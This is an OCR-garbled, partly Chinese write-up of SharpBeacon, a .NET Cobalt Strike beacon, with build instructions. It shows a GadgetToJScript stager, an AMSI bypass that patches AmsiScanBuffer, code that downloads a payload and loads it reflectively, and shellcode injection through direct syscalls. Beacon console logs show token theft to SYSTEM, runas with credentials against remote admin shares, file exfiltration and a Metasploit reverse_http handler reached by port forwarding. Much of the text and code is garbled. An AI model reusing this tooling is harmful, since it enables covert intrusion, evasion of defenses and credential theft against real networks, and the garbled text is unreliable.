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Jashteamserver [ &4 Aibeacon_keys3 i , FAIFE RN EMMIRSA AFLE4 G , EHFconfig.csH
F7Econfig.cstE M EIEAKIURLAAE AthashlFlAER .

How to use

Firstly, starting TeamServer and you got .cobaltstrike.beacon_keys meanwhile configurate listener etc. Secondly,
compiling SharpBeacon with VisualStudio after you changed url and RSA private key and public key in config.cs
And Then click sharpbeacon.exe. Once you got one beacon session and have fun! BTW this project as just a

beacon which depends on CobaltStrike. -- bopin2020

K TF1{E AsyscalliEF A H[E)E bopin2020)fi{EEwin1 1l calc.exe BIRLFZIR B BTN ; Hith
notepad,powershellEBiZ B A, /b bopin2020 Jfi{E,

CobaltStrike Beacon written in .Net 4 fi.netE2 5 T stager &z Beacon , HFAFEIEE L8, XHEE. #HEE
H ShEIE, BESysCald TN, RAEmOF A, RETWE—RS TR

—. Bz

XRFEA—#2 FAC#RE S stager & HBeaconF I ATR & FATIEE , W FEENAZME K17 FRE
(LolBins->Stager->Beacon) KN RIINEENN A K E K. LolBinsgi4) 2 GadgetToJs{F Stagerd& e Ajs.
vba, htaX{#f5 , BLEE MM Mesript, mshtaFEFRIE1T ; StagerDIBEEFE ML HEBeaconflIFEFF &
FHERNFFMEZLAMSIBypass ; BeaconFiH FEFBIFIER L&, XHEIE, #RTIE, SMEHEH, 44
& SysCallBHTIEN, ek, RETWE—RIIThEE,
THETF netd.0 , EXFFesd. 1l (BERAFUK) |, BafMA, WBGIH{E, SharpSploit, Geasonf{5}=.
BRJEEET MR IAERE AT , ENBEXE , FAHEIEHSESEAZ R, BITHERTN
EER , B8N KUYBEREARFEER , SRESLERERAHITEMR TEEZ L. BHR
ZARVEIREFEL |, SRR,

VENEF - ¥ CobaltStrike_EE Stagerf1Beacon https://bbs.pediy.com/thread-269115.htm
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—. LolBins

LOLBins , £#k“Living-Off-the-Land Binaries” , B R &NF A “ATEFEM_ LM 3t , IABPEE S AKX

Z5

o 1. HAMicrosoft& £ ) — 353044 , ] A Microsoft R4t B F — 353 4.

o 2. B=MANEZELTEF. LolBinsfIFEFIE T IEH HIThEES: |, o] MM BAEARZIRNIT R, 7£
APTHLINIBEE F , % LTS EREAPTALMER. TEEEE LKALolBins , BABFRZ #MA—
—FHT :

cmd.exe
Certutil exe
Shee rundll32.exe

Mshta.exe

(— LolBins Cscript.exe
WeChat.exe

BEREE sougo.exe

360se exe

M GadgetToJ ST B AT P IRFS cs LA BN YmE Bbase644wt /7 , fR7F1Ejs. vba, vbs, htaX {4 , T1EH
MR IHFIB T 2 BinaryFormatter/FHFES TR FFFLET , BT RUIRAR XS Activator.Createlnstance()
AR, ML NET F2/F S MEUT.

var ms_1 = BaseB4ToStream(stage_1, 2341);

var fmt_1 Activexobject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
fmt_1.Deserialize 2(ms 1);

BX BRI netFEFFETIEMAN KINBEEERIN A HME R , XHABEfA NET F2F&HRIT. TE

SRR R A
3 —namespace TesthAssembly |
15| H
4 = public class Program{
051 A
5 - public Program() {
4] Messagebox. Show(“Test Assembly |17}
7 }
] }
9 }
10

RN IR THITI T a4 -
\GadgetToJScript.exe -w js -c Program.cs -d System.Windows.Forms.dll -b -0 gg 5SS ¥ @M T -

o -wjsTRINFTAERBIE] s | T A s A TE RIS
e -c Program.cs & AT cs 304
o -d System.Windows.Forms.dll cs3Z {4 AT FZIfKd1
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o b ATESHPRIZINB—Pstager , BRI MLENET48+HIORRA I\ T BHATRE R | T
B Afalse , ANRFTA AREIMAZEAE NET4.8+IEHIZT , NRE Atrue (--Bypass/-b) . AL
stager1 FiZbypassiX MEEF].

o -0 ggAE MR AR, hta, vbsFEHHEERIAR RBARM :

HRIXQINE 11, ENZEPLE 2

=l e

plsvany= s

C:\Users\kent\Downloads\GadgetToJScript-master (1)\GadgetTolScript-master\GadgetToJS.. \gg.js

MR S
feonerzes] TrojanDropper/JS.Maloader.h

MBAIRA FREREH T A SHHITT:

var shell Activexobject(/WScript.shell/.source);
ver 'v4.9.303197;

vty |

shell.RegRead(/HKLM\SOFTWARE \Microsoft\.NETFramework\v4.9.30319\\/.source);
v } catch(e) {

ver 'v2.0.50727";

¥
shell.Environment('Process")('COMPLUS Version®) = ver;
var ms 1 = Baseg4dToStream(stage 1, 2341);

var fmt_1 ActiveXObject(/System.Runtime.Serialization.Formatters.Binary.BinaryFormatter/.source);
fmt_1.Deserialize 2(ms_1);

RIRIFEREIUXE

HEEseRk
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R PT I ARt

R — ey Py L T B P T R I ] = =
K

Test Assembly !!

dgetToJScript
GadgetToJScript

Test Assembly !!

. Stager

Stagergh4r FITNBERT LLEFE B JLI
netI MERNERE

Bl core

R, R

stager bypass amsi
’ etc.

KERSRIT AMLEHE BeaconfF2 Fr &I FENTFF ME A AMSIBypass , D48 K& UGN T XA
LAY, IETAEITAM. HEBREREFERAFNEXMAEE , SIART
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/fwe. Proxy. Credentials = CredentialCache. DefaultCredentials;

9

0 we. Headers. Add("User—Agent”, “Mozilla/5.0 (Windows NT 10.0; Winfd, x84, rv:90.0) Gecko/20100101 Firefox/30.07);
1 we. Headers. bdd(“Aecept”, “#/+7);

2 we. Headers. Add("Accept-Language”, “zh - CN,zh; g = 0.8,zh - TW; g = 0.7, zh - HE; g = 0.5, en - US; ¢ = 0.3, en; g = 0.27);
3 we. Headers. 4dd("Cache-Control”, “max-age=0");

4 byte[] data = wec. DownloadData (Fulllirl);

5 #if DEBUG

18 - public static woid AssemblyExecute(byte[] AssemblyBytes, [1 brgs = rull)

17 {

12 = if (Args == rull)

19 {

20 Args = new [1 {new string] {1 1,

21 }

22 Reflect. Assenbly assembly = Load(AssemblvBytes);

23 assenbly. EntryPoint. Invoke (null, Args):

24 )

R

TN HEUEbypassAMSI |, X B — A IAN £ AmsiScanBuffer , & $kDIlCanUnloadNowf{jiidit :

| J/Get pointer for the AmsiScanBuffer function

'.f IntPtr DllCannloadNowPtr = GetProchddress(TargetDLL, “Dl1CaninloadNow”);
' = if (D11CanlnloadiowPtr == IntPtir.Zero)
I {

SR I FHE T A R AE R AL TR E | AmsiScanBufferfi , Ft TN fpatch :
bytell egg = 1},
= if (IntPir.8ize == &)
{
= egz = new bytel[] {
0x4C, 0x8B, 0xDC,
0x48, 0x89, 0x5B, 0x08,
0x48, 0x89, 0x6B, 0x10,
0x48, 0xB89, 0x73, 0x18,
0x57,
0x41, 0x58,
0x41, 0x57,
0x48, 0x83, 0xEC, 0x70

1 ' & struct System.Int32
=T 32 (USRS,

= ezz = new bytel] {
(=8B, 0xFF,
0x55,
0x8B, 0xEC,
0x83, 0xEC, 0x18,
0x53,
0xz58

= elzse |

). Beacon

BeaconFf P ERABIEILHE L&, XfHEH, HREEH SREH F&SysCaldfTiEN. RAemAH
R, RETWZH—RIITHEE.
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MEE
FHEEE o

SHERE

=

EATNEE
r_ B5E

57
killdata

(— inEA —— REBEERR

DarkLoadlibrary

TFEARRSE APC

MemoryModule

‘5 syscall

41345

ENHEEE U, B8 T cp. mv, upload, download, filebrowse, rm, mkdir ERXCATNEER :
Cp:

r

! -~ Data (D)
beacon> cp D://1.txt D://111.txt

] Tasked beacon to copy D://1.txt to D://111.txt 358 ANFE
[+] host called home, sent: 36 bytes

&

B e— e

vire Sl N 1] =

P mm a om -

1 111t
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Download:

con> download D://CFF_Explorer

Tasked beacon to download D://CFF_Explore p

host called home, sent: 28 bytes
started download of D://CFF | r (2167073 byte

download of CFF Explore complete

101011 CFF_Explorer zip D/ 2mb 08/20 13:24:53

0 Download complete!

o=

« © D s BBEE 5 S 5 test(l) b test v O

= E ~ s

< Data (D)

¥ CFF Explorerzip

Filebrowse:

beacon> ls
Tasked beacon to list files in

[+] host called home, sent: 19 bytes

[+] received cutput

Oc:\Users\kent\scurce\repocs\SharpBeacon\Beacon\bin\Debug\
o] 2021/8/6 13:19:37
0 2021/8/6 13:19:37 ..
95232 2021/8/26 3:26:07 Beacon - BI#&.exe
110592 2021/8/27 3:07:46 Beacon.exe
208384 2021/8/9 2:06:39 Beacon.pdb
2609152 2021/8/9 2:06:38 BouncyCastle.crypto.dll
2167073 2021/8/24 13:11:24 CFF_Explorer.zip
576040 2021/8/9 2:06:38 Newtonsoft.Json.dll
563592 2021/8/9 2:06:39 Newtonsoft.Json.xml

Wom R oR oMW OE MO O

beacon> r™m D://2

[+] host called home, sent: 13 bytes

Tasked beacon to remove D://2

[+] received output

= = R o
- Data (D3) 1
ed home, sent: 13 bytes Debug >
[+] received output SharpBeacon ow
ok windowstiquan 35 -FridaS B

4. 25372 8R4y

PFEERS , BB run, shell, execute, runas. kill , R5TAMKA runu:

Run:
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beacon> run ipconfig
[*] Tasked beacon to run: ipconfig
[+] host called home, sent: 26 bytes

[+] received output

Windows IP ME

EUKRER & BAAKK -

HEERNEN ons BE

EURRER & BLAR 2:

EETEN ons FE

T REMERS AHEEy 1.

peacon> shell ping gg.com
*] Tasked beacon to run: ping gg.com
+] host called home, sent: 42 bytes

+] received output

[E# Ping gq.com [183.3.226.35] BH 32 FHIEIE:
2E 183.3.226.35 MIFEIE: F9-32 HA-16ms TTL-54
F-H 183.3.226.35 MIEIE: $%=32 HA=15ns TTL=54
HoEH 183.3.226.35 MIEIE: F1=32 H@=15ms TTL=54

83.3.226.35 M ping HiHEE:

#iEA. BRE - 2, B8l - 3, X -1 (258 £5%),
R AT AT (] (AR R AL -

B = 15ms, Bic = 16ms, TH = 15ms

execute:

183.3.226.35 M Ping ZilEE:

#iEG: OFEE = 4, B8l = 3, EX =1 (25% E%)
HEETEN AT R (BLES AR

B = 15ms, K = 1l6ms, T = 15ms

beacon> execute D:/fcalc.exe

[*] Tasked beacon to execute: D:/f/calc.exe
[+] host called home, sent: 20 bytes

[+] received output

ok

it al=l1nl
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beacon> runas ATTACK\Administrator 1@#01234 dir \\10.10.10.165\C$§
[*] Tasked beacon to execute: dir ‘\\10.10.10.165\C§ as ATTACK\Administrator
[+] host called home, sent: 72 bytes
[+] receiwved ocutput
\\10.10.10.165\C§ DCel0al6
FEFA-8T711

\410.10.10.165\C§

2021/06/25 15:17 111
2021/06/20 16:08 hb.exe
2016/07/16 21:23
2020/07/14 14:12
2021/06/28 15:43 Program Files (x86
2020/07/14 14:07 Users
2021/07/10 11:55 Windows
1 73,802 O
i 52,481 ,409,024 O

Architecture

) \Lenovo\PCManager\3.0.700.7272\Modules\EMDriverAssist. ext DESKTOP-4PF5ELT\kent
DESKTOP-4PF5ELT\kent x64

svehost - ex NT AUTHORITY\LOCAL SERVICE x64
wininit
osr
svchost rindows \System32\svchos 0 NT AUTHORITY\LOCAL SERVICE x64
winlogon C:\Windows\system32\winlogon NT AUTHORITY\
vice
NT AUTHORITY\:
DESKTOP-4PF5ELT\kent

4
4
4
4
4

fontdrvhost C:\Windows\system32\fontdrvhost Font Driver Host\UMFD-1
fontdrvhost \Windows\system32\fontdrvhost. Font Driver Host\UMFD-0
WUDFHost 6
WUDFHost

svohost

svchost

WINWORD

Tasked beacon to kill 12752
[+] host called home, sent: 12 b

4.3 AR

A HERPRER S , E5ERiAFB getprivs, make_token, steal_token, rev2self :
Getprivs:
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beacon> getprivs

[+] ho=st called home, =sent

[+] receiwved output

SeIncreaseQuotaPrivilege
SeSecurityPrivilege
SeTakeOwnershipPrivilege
SeLoadDriverPrivilege
SeSystemProfilePrivilege
stemtimePrivilege
SeProfileSingleProcessPrivilege
SeIncreaseBasePriorityPrivilege
SeCreatePagefilePrivilege
SeBackupPrivilege
SeRestorePrivilege
SeShutdownPrivilege
SeDebugPrivilege
SeSystemEnvironmentPrivilege
SeChangeNotifyPrivilege
SeRemoteShutdownPrivilege
SeUndockPrivilege
SeManageVolumePrivilege

P ————— ————- e

make_token :

Tasked bcacon to create a token for ATTAFF\ndm1n1ﬂtLat01

https://github.com /mailzhi2/SharpBeacon

[*] Tasked beacon to enable privileges

155 bytes

AHEREEAFESR

g #£A%

BB E AT S AT L
e E R & EEEF
EETARGHER

EH RSN A

EE R —HE
Eﬁﬁwﬁ%ﬁ

Hmﬁﬁ%ﬁﬁ#ﬂ
M %ﬂt??ﬁﬁﬁ

/AIJI‘tHTTEmake token):}}luTT cmd exe /C dir \10.10.10.165\C$

[+] host called home, sent: 47 bytes

[+] received output
0 %\\10.10.10.165\CS

______ x00 FEFA-8711
\\10.10.10.165\c§ OOE%
2021/06/25 15:17 <DIR>
2021/06/20 16:08
2016/07/16 21:23
2020/07/14 14:12
2021/06/28 15:43
2020/07/14 14:07
2021/07/10 11:55

<DIR>
<DIR>
<DIR>
<DIR>
<DIR>

% 52,481,474

steal_token :

[beacon> steal token 4544

[*] Tasked beacon to steal token from PID 4544
[+] host called home, sent: 12 bytes

[+] received output

Int authority\system

DeIDa060k0]

111
hb.exe
PerflLogs
Program
Program
Users
Windows

,560 O

S Bt £Esteal_token 4T 7 whoami

L URATRTLERE ewau icemens
®] dllhost.exe 1728 IEHEERT
%] ETDService.exe 3472  [EEIEIT

O Everything.exe 4544  IFHEIETT
EF\IeZiIIa Serverexe 5240 IE{EE(T
5] FMService64.exe 4028  IEHEHET
i)GoogleCrashHandl... 11748 IE&EET

Fannlafeachbandl 11004 TEESRS
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rev2self :

beacon> steal token 4544

[*] Tasked beacon to steal token from PID 4544
[+] host called home, sent: 12 bytes
[+] received output

nt authorityl\system

beacon> revlself

[*] Tasked beacon to revert token
[+] host called home, sent: 8 bytes
[+] receiwved output

ok

beacon> run whoami

[*] Tasked beacon to run: whoami

[+] host called home, sent: 24 bytes
[+] received output
desktop-4pf5eltikent

445K

O AE S , BSEMEBportfwd, rportfwd stop :
Rportfwd , J+ 21X Biug %% & teamserver R IR [0 T A T EE Kvm D |, XA IR [E FiE A KipFport,
7£192.168.202.180:22222_F Fri msfIs T :

Starting persistent handler(s) ...
msf6 > use exploit/multi/handler
Using configured p1y101d generic/shell_reverse_tcp
msf6 exploit( ) > set payload windows/meterpreter/reverse_http
payload = windows/meterpreter/reverse_http
it( : lhost 192.168.282.180

lport

exploit

T—ZIKHLi{'l_ﬂ,iJJ:BZ 168 202. 194]23456 ﬁmigﬂy:éljiﬁmsfaq"*uﬁ

[IPTR I AALe nreasnr s Ll e s L N R TN Fhr TSP S S 1Y A B

beacon> rportfwd 23456 19;.1u8.¢0z.130 22222

[+] host called home, sent: 10 by
[+] received cutput

ok

ZH 5 [R) 2345685 :
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— C @ O & 192.168.202.1 22 Y Lot

It works!

FH—AMIEIR1234568mH

G @ http://10.10.10.1:23456/ O ~ & 210.10.10.1 ]
It works! a

rportfwd stop :

beacon> rportfwd stop 23456

[*] Tasked beacon to stop port forward om 23456
[+] stopped proxy pivot on 23456

[+] host called home, sent: 10 bytes

[+] received output

ok

4.5FNEBS

FENERSY | csBshinject, dllinject, inject&BIRITFELFZEN , FAAMZSEwinl0 x64 1909,shellcodesE
FHcs H644sic# shellcode , #IENIFEF 26407 calc.exe , F2FIR[EHKNTSTSTUSHASUCCESS , B
shellcode}s| B2/ N\EMN HFERFF |, FFHTEZ R LFEHITHIT , Bf/acalcexefbgAT , B R AR :
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56
BT GCHandle handle = GCHandle. Al11oc(Shelleode, GCHandleTvpe. Pinned):
5B IntPir payloadPtr = handle. Addr0fPinneddbject();
59 BvtesWritten = 0;
a1l result = Syscalls. NtWriteVirtualMemory !
61 processHandle,
62 o pBaSEI.
63 pavloadPtr,
G4 {uint)Shellcade. Length,
65 ref BytesWritten);
4] = if (result != MNative.NTSTATUS. Success)
67 {
B3 #1f DEBUG
69 Console. Writeline (" [!] SCInject Nt¥WriteVirtualMemory Failed. ™)
70 Hendif
Tl return false:
72 i }
73
74
o 75 IntPtr HRemoteThread = IntPtr. Zero; = F0E <= 1ms
TG result = Syscalls. NtCreateThreadEx(
T ref hRemoteThread,
100% ~ @ F=HEEXRE I~
83(Ctrl+E) P~ @ 3 - Wiy Hefit
B = i a W 00000
@ Processld 23448 int LUl
b @ Shellcode {byte[892]} byte[] tbuor
@ processHandle 0x0000000000000688 System.IntPtr gigggE
b @ oa {Beacon.Utils.Native. OBJECT _ATTRIBUTES} Beacon.Utils.M... 0500010
|3~ {Beacon.Utils.Native.CLIENT_ID} Beacon.Utils.N... 050001
@ result Success Beacon.Utils.N... %0001
& regionSize 0x0000000000001000 System.IntPtr 0x000
@ pBase (0x00000298417b0000 System.IntPtr D000
b @ handle {System.Runtime.InteropServices.GCHandle} System.Runtim... 00000
# payloadPtr 0x00000000027233d8 System.IntPtr ~ W 050000

BB rwxN1Z T |8) 47 filtshellcode fa F1E AT 4T shellcode FH:
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CoE i Yy Tl fh# L B9
& cov =k & =i L 1= L] O R =3 SEHE Lo M & He O ERE o 2lm
© [DDDDD298417B0DD0 | FC cid Py
®| 0000029841780001 48:83E4 FO and rsp,FFFFFEFFFFFFFFFD famF
®| 0000029841780005 ES C8000000 €all] 29841780002
| s e me e ETTan o B e pushieg RAX  000000DSFSS0E0DD
| 00000298417B000C 41:50 push rsg REX 0000000000000000
@ 00000298417B0O00DE 52 push rdx RCX 0000000000000000
®| noooozes4178000F 51 push rcx RDX  00DO7FFCE5CZD340
®| 0000029841780010 56 push rsi REP  0000000000000000
®| 0000029841780011 48:31D2 xor rdx ,rdx RSP 000000DSFSEFFDAS
@ 00000Z298417B0014 65 48:8B52 60 mowv rdx ,qword ptr -: [rdx+60] RSI 0000000000000000
®( 0D000Z298417B0019 48:8B52 18 mov rdx ,gword ptr ds:[rdx+18] RDI 0000000000000000
@ 00000298417B001D 48:8B52 20 mov rdx ,gword ptr ds:[rdx+20]
@) 000002958417B0021 48:8B72 50 mov rsi,gword ptr ds:[rdx+50] RS 0000000000000000
@ 00000298417B0025 48 : OFB7 4A 4A movzx rcx,word ptr ds:[rdx+4A] R9 0000TFFCE5C20340
®| noooozesa1780024 4D :31C9 xor r9,rs
------»8| 000002984178002D 48:131C0 Xor rax,rax e oonnn
i ®| 0000029841780030 AC Tadsh
! #| 00000298417B0031 3C 61 cmp al,6l L5k PEERTETILEILEERE
| r----@| 00000298417B0033 « 7C 02 i1 298417B0037 R13 0000000000000000
i | #| 00000298417B0035 2C 20 sub al,zo R14 0000000000000000
' —--3@| 000D0298417B0O03T 41:C1C9 0D ror rod,D R15 0000000000000000
: ®| 0000029841780038 41:01C1 add rad,eax
Reccees ®| 000002984178003E ~ E2 ED Toop 298417B002D RIF  00007FFCESCO0SDL
®| 0000029841780040 52 push rdx
®| 00000298417B0041 41151 push r3 <
@ 0D0000Z298417B0043 48:8B52 20 mov rdx ,gword ptr ds:[rdx+20] 3
@ 0000029841 7B004T 8B 42 3C mov eax ,dword ptr ds:[rdx+3C] v %‘hk (x4 fasteall)
: rcx 0000000000000000
£ > rdx 0DDD7FFCESC2D340 <nt
r& 0000000000000000
: r9 0DDD7FFCE5C2D340 <ntd
5: [rsp+28] 000000000000000
10000298417B0000
W FIF 1 wy PiF 2 Wy rE 3 v prE 4 Wy mTES @ w1 l= JEFEE] ! |* | S000000s FEErFDR0 roooo;;;‘;gig;gggg
P e ETTT A | o00o000sFseFFDes || conoooooconooooo
JOD07FFCE5B61000  |€C | CC CC CC [CC CC CC CC |48 89 5C 24 |08 33 DB 48 |EILIIIILH.\$.30H TITTTENEFELAEY ||| rs iy s s e
I0DD7FFCE5B61010 | 8D 42 FF 41 |[BA FE FF FF [7F 44 8B CB |49 3B C2 41|.ByA°hyy.D.EI;AA 000000DSFSBFFDCS || 0000000000000000
J000TFFCE5BE1020 |BB OD 00 00 |CO 45 OF 47 [CBE 45 85 C9 |OF 88 FA 63 |»...AE.GEE.E..LC TITVIDEFEDARYY ISl aiy sty
JODDTEFCE5B61030 |OA 00 48 85 D2 74 26 4C |28 D2 4C 2B |C1 43 8D 04 |..H.OT&L+OL+AI.. COCOOODSFSBFFDDE  FO00O7FFCE56F7C24
I00D7FFCE5BE1040 |12 48 85 CO |74 17 41 OF [B7 04 08 66 |85 CO 74 0D |.H.A TITVIDEFEAREY | | Sidsry sy sy
J0OD7FFCE5B61050 |66 89 D1 48 |83 C1 02 48 (83 EA 01 75 |[EO 48 85 D2 |f.. R RERES LLELLLEILEETLELY)
J0OD7FFCE5B61060 |48 8D 41 FE |48 OF 45 C1 |48 F7 DA 45 [1B €9 41 F7 |H.ApH.EAH=UE.EA= LEEL AT LLFLTEIN EITLELY)
I00D7FFCE5B61070 |D1 41 81 E1 05 00 00 80 |66 89 18 48 |8B 5C 24 08 |NA.&....T..H.\$. CITVIDNEFECARIED | (S0 srsy oy sy
J0DDTEFCE5B61080 |41 8B C1 C3 [CC CC CC CC |CC CC CC CC |48 89 5C 24 [A.AAIIIIIIIIH.\$ 000000D5F5EFFEDD (L OGOOOOD0D00CO000
J0007FFCESBE1090 |08 57 48 83 |EC 40 49 8B D8 E8 52 00 |00 00 48 8B|.WH.I1@I.B2R...H ONOOOOREESRERRoR, [FO0007FFCE5BCDT21
J0OD7FFCESBE10A0 | F8 48 8D 54 (24 20 33 CO |48 8B CB 48 |89 44 24 20 |@H.T$ 3AH.EH.DS hdll S

IR

P {TNtCreateThreadEx(), /£ A\ calc.exeHiE L FE M Tt shellcode :
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D8 =20 Y 9§ tul e fHH BB E8
B o B [ & i W MiEAE [ iBRHE =) SEH BIE & e <R
RIP RAX o I cTa
#|| 00000298417 B0001 48:83E4 FO and rsp ,FFFFFFFFFFFFFFFO
#| 0o00029841780005 ES C8000000 €alll 298417B00D2
#| ooooozes41780004 41:51 push r3 RAX OHR
®| ooooozasa17B000C 41:50 push rs REX noooc
@| coooozoess17BO00E 52 push rdx RCX ooooc
#| 0oooo0z9s4178000F 51 push rex RDX  0000C
#| 0o00029841780010 56 push rsi REP  0000C
| 0ooo029s41780011 48131D2 Xor rdx ,rdx RSP 000OC
#| 00000298417 B0014 65 45: BE52 &0 mov rdx ,qword ptr -'[rdx—GD] RSI 0000C
@ 00000298417B0019 48:8B52 18 mov rdx ,qword ptr ds:i[rdx+18] RDT 0000
@ 00000238417 B001D 48:8BB52 20 mov rdx ,gqgword ptr ds:[rdx+20]
@ 00000298417B0021 48:BB72 50 mov rsi,gwerd ptr  ds:[rdx+50] RE 0000C
&| 00000298417 B0O0ZSE 48 :0FB7 4A 4A movzx rcx ,word ptr ds:[rdx+4A] R 0000¢C
#| 0ooooz9a41780024 4D:31C9 XOr r9,rs T e
#| 0o0002984178002D 48131C0 KOF rax ,rax
®| 0ooo0z9841780030 AC Todsb LELL - (e
#| 00000298417B0031 3C 61 cmp al, sl R12 0000
r----@{ 000002928417B00332 ~ 7C 02 i1 298417B0037 LBl TLrEy
i | 00000238417B0035 2C 20 sub al,zo R14 0000C
L-—-»@| 0OO0OD298417BOO3T 41:C1C9 0D ror rad,D R15 00000
| 0000029841780038 s1:01C1 add rod,eax
#|| 0o000298417B003E ~ EZ ED loop 298417B002D RIFP 00000
#| 0000029841780040 52 push rdx
#| 00000298417B0041 41:51 push ra <
@) 00000298417 B0043 48:8B52 20 mov rdx ,qword ptr ds:[rdx+20]
#| 00000298417 B0047 8B 42 3C mov eax ,dword ptr ds:[rdx+3C] hd M
1: rcx 00000
< > 2: rdx 00000
3: rs 000000
41 r9 000002
5: [rsp+28]
00000298417B0000
N 5F5 00007
W PR W PEF 2 W P 3 W PIFF 4 W FIFF 5 mil 1 EE‘BEEE] 000000D5 F5BFF7AD rDDDDE
it g ASCIT A || DO0000DS FSEFFTAS 0000
0DDO7FFCE5B61000 |€C CC CC CC [CC CC CC CC |48 B89 5C 24 |08 33 DB 48 |[EIIIIIIIH.\5.30H 000000DSFSBFF7ED || 0000C
OODO7FFCE5B61010 | 8D 42 FF 41 |BA FE FF FF |7F 44 8B CB |49 3B C2 41 |.ByASpyy.D.EI;Aa LELCE I EFREAR L TLvEy
DO0DOTFFCESB61020 |BB OD 00 00 |CO 45 OF 47 |[CB 45 85 C9 |OF 88 FA 63 .KE.GEE.E..lc 00000ODSFSBFF7CO  [LO0DOC
DODD7EFCESBE1030 |DA 00 48 85 |D2 74 26 4C |2BE D2 4C 2B [C1 49 8D 04 |..H.OT&L+OL+AI.. 0000DODSFSBFF7CE  [00007
DODO7FFCESBE1040 |12 48 85 CO |74 17 41 OF [B7 04 08 66 (85 €O 74 0D |.H.At.A....f.At. 200 LN AL LLLEY
00D07FFCESEE1050 |66 89 01 48 [83 €1 02 48 |83 EA O1 75 |[EO0 48 B5 DZ |f..H.A.H.&.uaH.0 0O0CDODSFSBFF7DS ] 0000C
O0007FFCESBE1060 |48 8D 41 FE (48 OF 45 CL (48 F7 DA 45 1B €9 41 F7 [H.APH.EAH-UE.EA: L2 EL BRI o
DDDOTFFCESEE1070 |D1 41 81 E1 |05 00 00 80 |66 89 18 48 [8B 5C 24 08 |NA.&....F..H.\$. TELTERICCERFRED ||ty
DODOTFFCESBE1080 |41 8B €1 €3 [CC €C CC CC |€C CC CC CC |48 89 5C 24 |A.AATIIIIIIIf.\S TeeTTIEERARD ||ty
00007FFCESEE1090 |08 57 48 83 [EC 40 49 8B (D8 E8 52 00 |00 00 48 8B |.WH.I1@I.BER...H. nnnanonsEsREETES 1 0000C
DDDO7FFCESEEI0A0 | F8 48 8D 54 |24 20 33 C0 |48 8B CB 48 |89 44 24 20 |0H.T$ 3AH.EH.DS hill 3
e
[T k2
EEE |IHT3 Bf 5T 0000029841 7EOOODY
®a Eﬂf_ﬁ@ﬁﬂqc% 1561\EEE‘]WT B R rwxH]
™ 000002984]. BOO2A 4D:31C9 xor ro,r9 B B LEvoam L e s
4 48:31cC0 XOr rax,rax
i . AC lodsh Lasterror 00002E
0000029841 780031 3c 61 cmp al,6l Laststatus C00000
00000298417B0033 ~ fC 02 i1 298417BO037
0000029841780035 2C 20 sub al,z0 GS 002B Fs 0053
e 0000029841780037 41:c1cH 0D ror rad,p ES 0028 DS 002B
000002984178003B 41:01c1 add rod,eax Ccs 0033 ss5 002B
00000298417B003E ~ E2 ED loop 2984178002D
0000029841780040 52 push rdx
0000029841780041 41:51 push 59 - s [rd ] <
0000029841780043 48:8852 20 mov rdx,gwor tr ds:[rdx+20
0000029841780047| 8842 3C mov cax,dword ptr ds:[rdx:3c] v fﬂ’tci"ﬁ‘l fastcall
0000000000¢
< > 2: rdx 00007FFCH5C
3: r8 00007FFC64At
4: rg9 00000000000C
5: [rsp+28] 00000z
1000029841 780030
. y cO000000000C
BUPTF 1 WAz WATFES: WAFE4 WAESs @ HEM 1 e FEN DD0000DSF 5B FAAS [[838437 GAAES:
wil T e 000000D5F58FF4E0| 00000000000
10007 FFC65B61000|CC CC CC CC|CC CC CC CC|48 80 5C 24|08 32 DB 48 BLITIIIIN\S. 3Ok R e B | JODODODOL
I0007FFCG5861010| 8D 42 FF 41 |BA FE FE FE|7F 44 88 CB |49 38 C2 41|.8ya%byy.D.EXiAa O S B e 0000000000
I0007FFC65B61020 BE 0D 00 00|CO 45 OF 47 |CB 45 85 CO|OF 88 FA 63|»...AE.GEE.E. O S R IC R (00000298 Tt
I0007EFC65B61030| 0A 00 48 85 |D2 74 26 4C|2B D2 AC 28|C1 49 BD 04| ..M. OTEL+OL+AL. TLILEIDEETFRUE|| (B EEE PRI
0007 FFC3B61040 | 12 48 85 CO|74 17 41 OF |87 04 08 56|85 CO 74 Ob| H.At. A o F AL, ST DEETFRUD | (B EEE PRI T
10007FFC65861050 |66 89 01 48|83 C1 02 48 (83 EA OL 75|E0 48 85 D2|f..H.A.H.&. udH.0 D o R L e [OUDORIDOIICT
I0007FFC65861060|48 8D 41 FE |48 OF 45 CL|48 F7 DA 45|16 €9 41 F7|H.ApH.EAH=UE. EA= D e EH[| 000002 98 Tl
10007FFC65B61070 (D1 41 81 EL|05 00 00 80|66 89 18 48 |8B 5C 24 08|fA.a&....T..H.\S. S DEETFRURE|| B FAITEAE T
10007FFC65B61080|41 8B C1 C3|CC CC CC CC|CC CC CC CC |48 89 5C 24 |A.AATITITITIH.\S gggggggziigﬁigg ggggggggﬂg:
I0007FFC65B61090 |08 57 48 83 |EC 40 49 8B |D8 E8 52 00|00 00 48 BB|.WH. 1GI.@&R...H.
WO07FFC65B610A0 (F8 48 BD 54 (24 20 33 CO|48 8B CB 48|89 44 24 20 BH.T$ 3AH.EH.D$ hl S
54 : |
EEE E—MRET 0000029341 TRO030 {(CO00000S, EXCEPTION_ACCESS_VICLATION) !
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kvi
4.6 FR 5
FLIRERSY , B 5T Bsleep. pwd, exit, setenv, drives, cd :
Sleep :

beacon> sleep 3

[*] Tasked beacon to sleep for 3=
[+] hest called home, sent: 16 bytes
[+] received output

ok

exit :
beacon> exit
[*] Tasked beacon to exit

[+] host called home, sent: B bytes

setenv :

beacon> setenv tmpl2 D://1

[*] Tasked beacon to set tmpl2 to D://1
[+] ho=t called home, sent: 20 bytes
[+] received ocutput

o://1EHEE

drives :

beacon> drives

[*] Tasked beacon to list drives
[+] host called home, sent: 12 bytes
[+] received output

\D:\

Pwd :

beacon> pwd
[*] Tasked beacon to print working directory
[+] host called home, sent: B8 bytes

[+] received output

C:\Users\kent\source\repos\SharpBeacon\Beacon\bin\Debug

beacon> od C://

[*] ed C://

[+] host called home, sent: 12 bytes

beacon> pwd

[*] Tasked beacon to print working directory
[+] host called home, sent: 8 bytes

[+] received output
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BRHRATEARSE , BN TILA

ZE BT RERLT |, ZAR TR A

B #irsa®4A 2 pem A Tt B T BouncyCastleFE , Z f[E]Exponent 1 Modulus
BELZHEANAT , APC, {RIGFHFPESE

BZHB{EEY , ADNS, ICMP

X fFspawn** | KA Y P TspawnFjobfg , teamserverip< [A{EMMN KL , Eitsip
BZMTNEE , fmimi, keylogger, portscan, fNEkpesF H /TS ARKIE.
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